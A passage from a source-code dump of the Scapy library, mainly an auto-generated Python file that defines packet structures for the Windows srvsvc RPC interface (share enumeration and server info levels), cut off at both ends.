),\n    # 42: Opnum42NotUsedOnWire,\n    # 43: Opnum43NotUsedOnWire,\n    # 59: Opnum59NotUsedOnWire,\n    # 60: Opnum60NotUsedOnWire,\n    # 61: Opnum61NotUsedOnWire,\n    # 63: Opnum63NotUsedOnWire,\n    # 68: Opnum68NotUsedOnWire,\n    # 69: Opnum69NotUsedOnWire,\n    # 70: Opnum70NotUsedOnWire,\n    # 71: Opnum71NotUsedOnWire,\n    # 72: Opnum72NotUsedOnWire,\n    # 75: Opnum75NotUsedOnWire,\n    # 76: Opnum76NotUsedOnWire\n}\nregister_dcerpc_interface(\n    name=\"samr\",\n    uuid=uuid.UUID(\"12345778-1234-ABCD-EF00-0123456789AC\"),\n    version=\"1.0\",\n    opnums=SAMR_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_srvs.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# ms-srvs.idl compiled on 06/07/2025\n# This file is a stripped version ! Use scapy-rpc for the full.\n\"\"\"\nRPC definitions for the following interfaces:\n- srvsvc (v3.0): 4B324FC8-1670-01D3-1278-5A47BF6EE188\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nimport uuid\n\nfrom scapy.fields import StrFixedLenField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfVarStrNullField,\n    NDRConfVarStrNullFieldUtf16,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRIntField,\n    NDRPacketField,\n    NDRSignedIntField,\n    NDRUnionField,\n    register_dcerpc_interface,\n)\n\n\nclass LPSHARE_INFO_0(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi0_netname\", \"\"))\n    ]\n\n\nclass SHARE_INFO_0_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPSHARE_INFO_0()],\n                LPSHARE_INFO_0,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_INFO_1(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi1_netname\", \"\")),\n        NDRIntField(\"shi1_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi1_remark\", \"\")),\n    ]\n\n\nclass SHARE_INFO_1_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPSHARE_INFO_1()],\n                LPSHARE_INFO_1,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_INFO_2(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi2_netname\", \"\")),\n        NDRIntField(\"shi2_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi2_remark\", \"\")),\n        NDRIntField(\"shi2_permissions\", 0),\n        NDRIntField(\"shi2_max_uses\", 0),\n        NDRIntField(\"shi2_current_uses\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi2_path\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi2_passwd\", \"\")),\n    ]\n\n\nclass SHARE_INFO_2_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPSHARE_INFO_2()],\n                LPSHARE_INFO_2,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_INFO_501(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi501_netname\", \"\")),\n        NDRIntField(\"shi501_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi501_remark\", \"\")),\n        NDRIntField(\"shi501_flags\", 0),\n    ]\n\n\nclass SHARE_INFO_501_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPSHARE_INFO_501()],\n                LPSHARE_INFO_501,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_INFO_502_I(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi502_netname\", \"\")),\n        NDRIntField(\"shi502_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi502_remark\", \"\")),\n        NDRIntField(\"shi502_permissions\", 0),\n        NDRIntField(\"shi502_max_uses\", 0),\n        NDRIntField(\"shi502_current_uses\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi502_path\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi502_passwd\", \"\")),\n        NDRIntField(\"shi502_reserved\", None, size_of=\"shi502_security_descriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"shi502_security_descriptor\",\n                \"\",\n                size_is=lambda pkt: pkt.shi502_reserved,\n            )\n        ),\n    ]\n\n\nclass SHARE_INFO_502_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPSHARE_INFO_502_I()],\n                LPSHARE_INFO_502_I,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_INFO_503_I(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi503_netname\", \"\")),\n        NDRIntField(\"shi503_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi503_remark\", \"\")),\n        NDRIntField(\"shi503_permissions\", 0),\n        NDRIntField(\"shi503_max_uses\", 0),\n        NDRIntField(\"shi503_current_uses\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi503_path\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi503_passwd\", \"\")),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi503_servername\", \"\")),\n        NDRIntField(\"shi503_reserved\", None, size_of=\"shi503_security_descriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"shi503_security_descriptor\",\n                \"\",\n                size_is=lambda pkt: pkt.shi503_reserved,\n            )\n        ),\n    ]\n\n\nclass SHARE_INFO_503_CONTAINER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [LPSHARE_INFO_503_I()],\n                LPSHARE_INFO_503_I,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_ENUM_STRUCT(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"Level\", 0),\n        NDRUnionField(\n            [\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"ShareInfo\",\n                            SHARE_INFO_0_CONTAINER(),\n                            SHARE_INFO_0_CONTAINER,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 0),\n                        (lambda _, val: val.tag == 0),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"ShareInfo\",\n                            SHARE_INFO_1_CONTAINER(),\n                            SHARE_INFO_1_CONTAINER,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"ShareInfo\",\n                            SHARE_INFO_2_CONTAINER(),\n                            SHARE_INFO_2_CONTAINER,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"ShareInfo\",\n                            SHARE_INFO_501_CONTAINER(),\n                            SHARE_INFO_501_CONTAINER,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 501),\n                        (lambda _, val: val.tag == 501),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"ShareInfo\",\n                            SHARE_INFO_502_CONTAINER(),\n                            SHARE_INFO_502_CONTAINER,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 502),\n                        (lambda _, val: val.tag == 502),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"ShareInfo\",\n                            SHARE_INFO_503_CONTAINER(),\n                            SHARE_INFO_503_CONTAINER,\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 503),\n                        (lambda _, val: val.tag == 503),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"ShareInfo\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n    ]\n\n\nclass NetrShareEnum_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRPacketField(\"InfoStruct\", LPSHARE_ENUM_STRUCT(), LPSHARE_ENUM_STRUCT),\n        NDRIntField(\"PreferedMaximumLength\", 0),\n        NDRFullPointerField(NDRIntField(\"ResumeHandle\", 0)),\n    ]\n\n\nclass NetrShareEnum_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"InfoStruct\", LPSHARE_ENUM_STRUCT(), LPSHARE_ENUM_STRUCT),\n        NDRIntField(\"TotalEntries\", 0),\n        NDRFullPointerField(NDRIntField(\"ResumeHandle\", 0)),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass LPSHARE_INFO_1004(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"shi1004_remark\", \"\"))\n    ]\n\n\nclass LPSHARE_INFO_1006(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"shi1006_max_uses\", 0)]\n\n\nclass LPSHARE_INFO_1501_I(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"shi1501_reserved\", None, size_of=\"shi1501_security_descriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"shi1501_security_descriptor\",\n                \"\",\n                size_is=lambda pkt: pkt.shi1501_reserved,\n            )\n        ),\n    ]\n\n\nclass LPSHARE_INFO_1005(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"shi1005_flags\", 0)]\n\n\nclass NetrShareGetInfo_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRConfVarStrNullFieldUtf16(\"ServerName\", \"\")),\n        NDRConfVarStrNullFieldUtf16(\"NetName\", \"\"),\n        NDRIntField(\"Level\", 0),\n    ]\n\n\nclass NetrShareGetInfo_Response(NDRPacket):\n    fields_desc = [\n        NDRUnionField(\n            [\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"InfoStruct\", LPSHARE_INFO_0(), LPSHARE_INFO_0)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 0),\n                        (lambda _, val: val.tag == 0),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"InfoStruct\", LPSHARE_INFO_1(), LPSHARE_INFO_1)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1),\n                        (lambda _, val: val.tag == 1),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\"InfoStruct\", LPSHARE_INFO_2(), LPSHARE_INFO_2)\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 2),\n                        (lambda _, val: val.tag == 2),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_502_I(), LPSHARE_INFO_502_I\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 502),\n                        (lambda _, val: val.tag == 502),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_1004(), LPSHARE_INFO_1004\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1004),\n                        (lambda _, val: val.tag == 1004),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_1006(), LPSHARE_INFO_1006\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1006),\n                        (lambda _, val: val.tag == 1006),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_1501_I(), LPSHARE_INFO_1501_I\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1501),\n                        (lambda _, val: val.tag == 1501),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_1005(), LPSHARE_INFO_1005\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 1005),\n                        (lambda _, val: val.tag == 1005),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_501(), LPSHARE_INFO_501\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 501),\n                        (lambda _, val: val.tag == 501),\n                    ),\n                ),\n                (\n                    NDRFullPointerField(\n                        NDRPacketField(\n                            \"InfoStruct\", LPSHARE_INFO_503_I(), LPSHARE_INFO_503_I\n                        )\n                    ),\n                    (\n                        (lambda pkt: getattr(pkt, \"Level\", None) == 503),\n                        (lambda _, val: val.tag == 503),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"InfoStruct\", \"\", length=0),\n            align=(4, 8),\n            switch_fmt=(\"L\", \"L\"),\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass LPSERVER_INFO_100(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"sv100_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv100_name\", \"\")),\n    ]\n\n\nclass LPSERVER_INFO_101(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"sv101_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv101_name\", \"\")),\n        NDRIntField(\"sv101_version_major\", 0),\n        NDRIntField(\"sv101_version_minor\", 0),\n        NDRIntField(\"sv101_version_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv101_comment\", \"\")),\n    ]\n\n\nclass LPSERVER_INFO_102(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"sv102_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv102_name\", \"\")),\n        NDRIntField(\"sv102_version_major\", 0),\n        NDRIntField(\"sv102_version_minor\", 0),\n        NDRIntField(\"sv102_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv102_comment\", \"\")),\n        NDRIntField(\"sv102_users\", 0),\n        NDRSignedIntField(\"sv102_disc\", 0),\n        NDRSignedIntField(\"sv102_hidden\", 0),\n        NDRIntField(\"sv102_announce\", 0),\n        NDRIntField(\"sv102_anndelta\", 0),\n        NDRIntField(\"sv102_licenses\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv102_userpath\", \"\")),\n    ]\n\n\nclass LPSERVER_INFO_103(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"sv103_platform_id\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv103_name\", \"\")),\n        NDRIntField(\"sv103_version_major\", 0),\n        NDRIntField(\"sv103_version_minor\", 0),\n        NDRIntField(\"sv103_type\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv103_comment\", \"\")),\n        NDRIntField(\"sv103_users\", 0),\n        NDRSignedIntField(\"sv103_disc\", 0),\n        NDRSignedIntField(\"sv103_hidden\", 0),\n        NDRIntField(\"sv103_announce\", 0),\n        NDRIntField(\"sv103_anndelta\", 0),\n        NDRIntField(\"sv103_licenses\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv103_userpath\", \"\")),\n        NDRIntField(\"sv103_capabilities\", 0),\n    ]\n\n\nclass LPSERVER_INFO_502(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"sv502_sessopens\", 0),\n        NDRIntField(\"sv502_sessvcs\", 0),\n        NDRIntField(\"sv502_opensearch\", 0),\n        NDRIntField(\"sv502_sizreqbuf\", 0),\n        NDRIntField(\"sv502_initworkitems\", 0),\n        NDRIntField(\"sv502_maxworkitems\", 0),\n        NDRIntField(\"sv502_rawworkitems\", 0),\n        NDRIntField(\"sv502_irpstacksize\", 0),\n        NDRIntField(\"sv502_maxrawbuflen\", 0),\n        NDRIntField(\"sv502_sessusers\", 0),\n        NDRIntField(\"sv502_sessconns\", 0),\n        NDRIntField(\"sv502_maxpagedmemoryusage\", 0),\n        NDRIntField(\"sv502_maxnonpagedmemoryusage\", 0),\n        NDRSignedIntField(\"sv502_enablesoftcompat\", 0),\n        NDRSignedIntField(\"sv502_enableforcedlogoff\", 0),\n        NDRSignedIntField(\"sv502_timesource\", 0),\n        NDRSignedIntField(\"sv502_acceptdownlevelapis\", 0),\n        NDRSignedIntField(\"sv502_lmannounce\", 0),\n    ]\n\n\nclass LPSERVER_INFO_503(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"sv503_sessopens\", 0),\n        NDRIntField(\"sv503_sessvcs\", 0),\n        NDRIntField(\"sv503_opensearch\", 0),\n        NDRIntField(\"sv503_sizreqbuf\", 0),\n        NDRIntField(\"sv503_initworkitems\", 0),\n        NDRIntField(\"sv503_maxworkitems\", 0),\n        NDRIntField(\"sv503_rawworkitems\", 0),\n        NDRIntField(\"sv503_irpstacksize\", 0),\n        NDRIntField(\"sv503_maxrawbuflen\", 0),\n        NDRIntField(\"sv503_sessusers\", 0),\n        NDRIntField(\"sv503_sessconns\", 0),\n        NDRIntField(\"sv503_maxpagedmemoryusage\", 0),\n        NDRIntField(\"sv503_maxnonpagedmemoryusage\", 0),\n        NDRSignedIntField(\"sv503_enablesoftcompat\", 0),\n        NDRSignedIntField(\"sv503_enableforcedlogoff\", 0),\n        NDRSignedIntField(\"sv503_timesource\", 0),\n        NDRSignedIntField(\"sv503_acceptdownlevelapis\", 0),\n        NDRSignedIntField(\"sv503_lmannounce\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv503_domain\", \"\")),\n        NDRIntField(\"sv503_maxcopyreadlen\", 0),\n        NDRIntField(\"sv503_maxcopywritelen\", 0),\n        NDRIntField(\"sv503_minkeepsearch\", 0),\n        NDRIntField(\"sv503_maxkeepsearch\", 0),\n        NDRIntField(\"sv503_minkeepcomplsearch\", 0),\n        NDRIntField(\"sv503_maxkeepcomplsearch\", 0),\n        NDRIntField(\"sv503_threadcountadd\", 0),\n        NDRIntField(\"sv503_numblockthreads\", 0),\n        NDRIntField(\"sv503_scavtimeout\", 0),\n        NDRIntField(\"sv503_minrcvqueue\", 0),\n        NDRIntField(\"sv503_minfreeworkitems\", 0),\n        NDRIntField(\"sv503_xactmemsize\", 0),\n        NDRIntField(\"sv503_threadpriority\", 0),\n        NDRIntField(\"sv503_maxmpxct\", 0),\n        NDRIntField(\"sv503_oplockbreakwait\", 0),\n        NDRIntField(\"sv503_oplockbreakresponsewait\", 0),\n        NDRSignedIntField(\"sv503_enableoplocks\", 0),\n        NDRSignedIntField(\"sv503_enableoplockforceclose\", 0),\n        NDRSignedIntField(\"sv503_enablefcbopens\", 0),\n        NDRSignedIntField(\"sv503_enableraw\", 0),\n        NDRSignedIntField(\"sv503_enablesharednetdrives\", 0),\n        NDRIntField(\"sv503_minfreeconnections\", 0),\n        NDRIntField(\"sv503_maxfreeconnections\", 0),\n    ]\n\n\nclass LPSERVER_INFO_599(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"sv599_sessopens\", 0),\n        NDRIntField(\"sv599_sessvcs\", 0),\n        NDRIntField(\"sv599_opensearch\", 0),\n        NDRIntField(\"sv599_sizreqbuf\", 0),\n        NDRIntField(\"sv599_initworkitems\", 0),\n        NDRIntField(\"sv599_maxworkitems\", 0),\n        NDRIntField(\"sv599_rawworkitems\", 0),\n        NDRIntField(\"sv599_irpstacksize\", 0),\n        NDRIntField(\"sv599_maxrawbuflen\", 0),\n        NDRIntField(\"sv599_sessusers\", 0),\n        NDRIntField(\"sv599_sessconns\", 0),\n        NDRIntField(\"sv599_maxpagedmemoryusage\", 0),\n        NDRIntField(\"sv599_maxnonpagedmemoryusage\", 0),\n        NDRSignedIntField(\"sv599_enablesoftcompat\", 0),\n        NDRSignedIntField(\"sv599_enableforcedlogoff\", 0),\n        NDRSignedIntField(\"sv599_timesource\", 0),\n        NDRSignedIntField(\"sv599_acceptdownlevelapis\", 0),\n        NDRSignedIntField(\"sv599_lmannounce\", 0),\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv599_domain\", \"\")),\n        NDRIntField(\"sv599_maxcopyreadlen\", 0),\n        NDRIntField(\"sv599_maxcopywritelen\", 0),\n        NDRIntField(\"sv599_minkeepsearch\", 0),\n        NDRIntField(\"sv599_maxkeepsearch\", 0),\n        NDRIntField(\"sv599_minkeepcomplsearch\", 0),\n        NDRIntField(\"sv599_maxkeepcomplsearch\", 0),\n        NDRIntField(\"sv599_threadcountadd\", 0),\n        NDRIntField(\"sv599_numblockthreads\", 0),\n        NDRIntField(\"sv599_scavtimeout\", 0),\n        NDRIntField(\"sv599_minrcvqueue\", 0),\n        NDRIntField(\"sv599_minfreeworkitems\", 0),\n        NDRIntField(\"sv599_xactmemsize\", 0),\n        NDRIntField(\"sv599_threadpriority\", 0),\n        NDRIntField(\"sv599_maxmpxct\", 0),\n        NDRIntField(\"sv599_oplockbreakwait\", 0),\n        NDRIntField(\"sv599_oplockbreakresponsewait\", 0),\n        NDRSignedIntField(\"sv599_enableoplocks\", 0),\n        NDRSignedIntField(\"sv599_enableoplockforceclose\", 0),\n        NDRSignedIntField(\"sv599_enablefcbopens\", 0),\n        NDRSignedIntField(\"sv599_enableraw\", 0),\n        NDRSignedIntField(\"sv599_enablesharednetdrives\", 0),\n        NDRIntField(\"sv599_minfreeconnections\", 0),\n        NDRIntField(\"sv599_maxfreeconnections\", 0),\n        NDRIntField(\"sv599_initsesstable\", 0),\n        NDRIntField(\"sv599_initconntable\", 0),\n        NDRIntField(\"sv599_initfiletable\", 0),\n        NDRIntField(\"sv599_initsearchtable\", 0),\n        NDRIntField(\"sv599_alertschedule\", 0),\n        NDRIntField(\"sv599_errorthreshold\", 0),\n        NDRIntField(\"sv599_networkerrorthreshold\", 0),\n        NDRIntField(\"sv599_diskspacethreshold\", 0),\n        NDRIntField(\"sv599_reserved\", 0),\n        NDRIntField(\"sv599_maxlinkdelay\", 0),\n        NDRIntField(\"sv599_minlinkthroughput\", 0),\n        NDRIntField(\"sv599_linkinfovalidtime\", 0),\n        NDRIntField(\"sv599_scavqosinfoupdatetime\", 0),\n        NDRIntField(\"sv599_maxworkitemidletime\", 0),\n    ]\n\n\nclass LPSERVER_INFO_1005(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"sv1005_comment\", \"\"))\n    ]\n\n\nclass LPSERVER_INFO_1107(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1107_users\", 0)]\n\n\nclass LPSERVER_INFO_1010(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1010_disc\", 0)]\n\n\nclass LPSERVER_INFO_1016(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1016_hidden\", 0)]\n\n\nclass LPSERVER_INFO_1017(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1017_announce\", 0)]\n\n\nclass LPSERVER_INFO_1018(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1018_anndelta\", 0)]\n\n\nclass LPSERVER_INFO_1501(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1501_sessopens\", 0)]\n\n\nclass LPSERVER_INFO_1502(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1502_sessvcs\", 0)]\n\n\nclass LPSERVER_INFO_1503(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1503_opensearch\", 0)]\n\n\nclass LPSERVER_INFO_1506(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1506_maxworkitems\", 0)]\n\n\nclass LPSERVER_INFO_1510(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1510_sessusers\", 0)]\n\n\nclass LPSERVER_INFO_1511(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1511_sessconns\", 0)]\n\n\nclass LPSERVER_INFO_1512(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1512_maxnonpagedmemoryusage\", 0)]\n\n\nclass LPSERVER_INFO_1513(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1513_maxpagedmemoryusage\", 0)]\n\n\nclass LPSERVER_INFO_1514(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1514_enablesoftcompat\", 0)]\n\n\nclass LPSERVER_INFO_1515(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1515_enableforcedlogoff\", 0)]\n\n\nclass LPSERVER_INFO_1516(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1516_timesource\", 0)]\n\n\nclass LPSERVER_INFO_1518(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1518_lmannounce\", 0)]\n\n\nclass LPSERVER_INFO_1523(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1523_maxkeepsearch\", 0)]\n\n\nclass LPSERVER_INFO_1528(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1528_scavtimeout\", 0)]\n\n\nclass LPSERVER_INFO_1529(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1529_minrcvqueue\", 0)]\n\n\nclass LPSERVER_INFO_1530(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1530_minfreeworkitems\", 0)]\n\n\nclass LPSERVER_INFO_1533(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1533_maxmpxct\", 0)]\n\n\nclass LPSERVER_INFO_1534(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1534_oplockbreakwait\", 0)]\n\n\nclass LPSERVER_INFO_1535(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"sv1535_oplockbreakresponsewait\", 0)]\n\n\nclass LPSERVER_INFO_1536(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRSignedIntField(\"sv1536_enableoplocks\", 0)]\n\n\nclass LPSERVER_INFO_1538(NDRPacket):\n    ALIGNMENT 